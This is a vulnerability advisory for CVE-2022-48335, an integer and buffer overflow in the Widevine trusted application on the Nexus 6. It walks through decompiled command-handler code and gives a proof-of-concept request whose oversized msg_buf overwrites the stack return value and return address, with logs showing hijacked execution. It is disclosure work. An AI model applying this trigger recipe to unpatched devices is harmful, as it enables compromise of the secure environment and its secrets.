CVE-2022-48335:
Buffer Overflow in Widevine Trustlet (PRDiagVerifyProvisioning @ 0x5f90)

CVE:

CVE-2022-48335

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

1. Description

Warning

To the best of our knowledge, the vulnerability described in this post has been incorrectly associated with CVE-2015-6639. After consulting with MITRE, it has been confirmed that this vulnerability had no assigned identifier. Consequently, CVE-2022-48335 has been assigned to this vulnerability.

On the other hand, it has been confirmed that CVE-2015-6639 does exist and corresponds with a different vulnerability reported by Google. We have notified all the concerned parties about this misunderstanding so that the confusion can be amended.

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

2. Affected Versions

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).

3. Impact

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

4. Vulnerability

The bug is present in Widevine’s PRDiagVerifyProvisioning() command. This command closely resembles PRDiagClearProvisioning(), which has been featured in other blog entries (refer to CVE-2015-6647).

The following snippet shows a switch-case present in the TA’s command handler:

switch(*req_buf) {
case 0x50003: // PRDiagMaintenanceHandler
    if ((0x2807 < req_buf_size) && (7 < resp_buf_size)) {
        ret = PRDiagMaintenanceHandler(req_buf + 2, req_buf[1]);
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50003, it jumps to the PRDiagMaintenanceHandler() function. This function handles two sub-commands: PRDiagVerifyProvisioning and PRDiagClearProvisioning.

The structure of the Request Buffer for the PRDiagMaintenanceHandler() function is the following:

struct widevine_PRDiagMaintenanceHandler_cmd {
        uint32_t cmd_id;
        uint32_t payload_size;
        struct widevine_PRDiagMaintenanceHandler_payload payload;
};

It contains an embedded structure and an integer indicating its size. The embedded structure is defined in the following code-block:

// Internal payload/request buffer for PRDiagMaintenanceHandler command
struct widevine_PRDiagMaintenanceHandler_payload {
        enum {
                op_PRDiagVerifyProvisioning    = 0,
                op_PRDiagClearProvisioning     = 1,
                PRDiagMH_FORCE_ENUM_32_BITS = (INT_MAX | ~INT_MAX),
        } op;
        uint32_t compare_flag;
        uint32_t msg_buf_size;
        uint32_t data_len;
        // The buffer containing the input data for the PRDiagVerifyProvisioning function.
        // This data could be related to provisioning information, cryptographic keys,
        // or other DRM-related metadata.
        // NOTE: The widevine trustlet checks the size of the request buffer
        // containing the widevine_PRDiagMaintenanceHandler_cmd structure.
        // The entire request buffer must have at least 0x2808 bytes
        char msg_buf[];
};

The relevant parts are the op value indicating the sub-command to be executed (either PRDiagVerifyProvisioning or PRDiagClearProvisioning), an input buffer called msg_buf and its size, stored in msg_buf_size.

The PRDiagMaintenanceHandler function simply copies the payload/request into a temporary heap buffer and passes it to the corresponding sub-command:

int PRDiagMaintenanceHandler(void *payload, uint32_t payload_size) {
     struct widevine_PRDiagMaintenanceHandler_payload *req;

     if (!payload || !payload_size) return 0x10;

     req = malloc(payload_size);
     if (!req) return 0xf;

     memcpy(req, payload, payload_size);
     if (req->op == 0) {
         PRDiagVerifyProvisioning(req);
     }
     else if (req->op == 1) {
         PRDiagClearProvisioning(req);
     }
     ...

For this bug, let’s focus on the PRDiagVerifyProvisioning sub-command. The main functionality of this function is to check the integrity and authenticity of the provisioning data by comparing it to the corresponding data stored in the Secure File System (SFS).

The following code snippet shows a simplified version of the PRDiagVerifyProvisioning function:

int PRDiagVerifyProvisioning(struct widevine_PRDiagMaintenanceHandler_payload *req) {
    // Check input and operation
    if (!req || req->op != 0) return 0x10;

    msg_buf_size = req->msg_buf_size;
    msg_buf = &req->msg_buf;
    ...
    if (!req->data_len) {
        strlen(&persist_prefix); // result ignored
        memzero(&filePathBuffer, 0x80); // 0x2e0fc
        memcpy(&filePathBuffer, msg_buf, msg_buf_size);
    }
    else {
        ...

The function first performs some validations on the input and the operation being requested and then checks the data_len value. If this value is zero, it copies the user-controlled msg_buf into a buffer in the data segment (0x2e0fc). The contents and size of this buffer are directly specified by the client through the Request Buffer.

The hardcoded value of the memzero suggests that the size of this buffer is 128 bytes. However, since msg_buf_size is not being checked, this copy operation can cause a buffer overflow:

_images/widevine-memory-5f90.svg

This vulnerability allows an attacker to overwrite important data structures such as the stack and heap, since they are in higher addresses within this same data segment.

5. Exploitation

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req->cmd_id = 0x50003;  // PRDiagMaintenanceHandler
req->payload.op = 0;    // PRDiagVerifyProvisioning
req->payload.msg_buf_size = 0x1644;
// 0x1644 overwrites ret-code in the stack
...
memset(req->payload.msg_buf, 'A', req->payload.msg_buf_size);

The Commmand ID 0x50003 is specified to invoke PRDiagMaintenanceHandler(), and the PRDiagVerifyProvisioning operation is being specified. In addition, msg_buf_size is set to 0x1644 so that it overflows the data buffer and ends up overwriting the return code in the stack:

<5>widevine: "PRDiagMaintenanceHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagVerifyProvisioning: begins!"
<5>widevine: "PRDiagVerifyProvisioning: returned 1094795585"
<5>widevine: "PRDiagMaintenanceHandler: returned 1094795585"

It can be observed that the returning value is 1094795585, which is the decimal representation of the value 0x41414141 that comes from our msg_buf buffer. We can also verify that this value is stored in the response buffer returned by the trusted application:

[*] Widevine PRDiagMaintenanceHandler => Return code: 0x41414141

Adding four more bytes to the buffer being copied allows us to overwrite the return address in the stack and thus give us control over the execution flow:

req->cmd_id = 0x50003;  // PRDiagMaintenanceHandler
req->payload.op = 0;    // PRDiagVerifyProvisioning
req->payload.msg_buf_size = 0x1648;
// 0x1648 overwrites return address in the stack
...
memset(req->payload.msg_buf, 'A', req->payload.msg_buf_size);

Note that the difference is that we added four bytes to msg_buf_size:

<5>widevine: "PRDiagMaintenanceHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagVerifyProvisioning: begins!"
*** crash @ 0x41414140 ***

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP_FAULTED. In this case, Widevine crashes because it ends up jumping to the address 0x41414140 coming from our msg_buf buffer.

<4>QSEECOM: qseecom_load_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom_load_app: App with id 3 (widevine) now loaded
<3>QSEECOM: __qseecom_send_cmd: Response result -1 not supported
<3>QSEECOM: qseecom_ioctl: failed qseecom_send_cmd: -22
<4>QSEECOM: qseecom_unload_app: App id 3 now unloaded